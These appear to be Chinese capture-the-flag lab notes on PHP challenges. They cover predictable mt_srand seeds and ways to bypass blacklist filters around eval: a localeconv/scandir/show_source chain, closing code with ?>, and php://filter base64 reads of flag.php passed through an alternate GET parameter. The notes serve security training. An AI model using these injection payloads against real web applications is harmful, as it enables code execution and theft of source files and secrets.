[靶场笔记]第三章
伪随机 mt_srand这个函数是伪随机,给了随机种子,生成随机数都是固定的 另外,随机种子会因为php版本不同而不同,种子计算可以用工具php_mt_scrand nl查询 其实这里想说的是任意执行这个大类,在一些题目中可能会有奇怪的过滤,执行查询时如果cat不行可以试试nl,另外记得看一看网页源代码 一种很特殊的函数绕过法 show_source(next(array_reverse(scandir(pos(localeconv()))))); 不要被这一长串吓到了,如果flag文件说带有.且已经被过滤的,就可以用这方法 首先localeconv第一个元素是.,pos只返回第一个元素,scandir扫描当前目录并存入数组,array_reverse以相反的元素顺序返回数组,next输出当前元素的下一个元素值,最后再用show_source高亮输出 是不是很神奇? 一种也很特殊的叠加方法 仔细观察下面这段php $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } 再仔细观察下面这个段get请求参数 ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php 学会了吗? Get请求变量 经常看到以一个单词作为接受请求的变量,如下 $_GET["url"] 但其实把“url”换成1是可以的,这样就能达到绕过双引号过滤的目的。 同理,单个字母也是可以的 两段php代码 如果碰到了一个eval函数,那么首当其冲可以先写一个?>对前面的php进行闭合,这样再怎么过滤也不会过滤到后面的代码上了 不过需要注意的是,就算后面代码运行时不会过滤,但不代表代码输入进去时不会被过滤一遍,举个例子 c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 这段代码的1变量内容不会被过滤,但c仍然会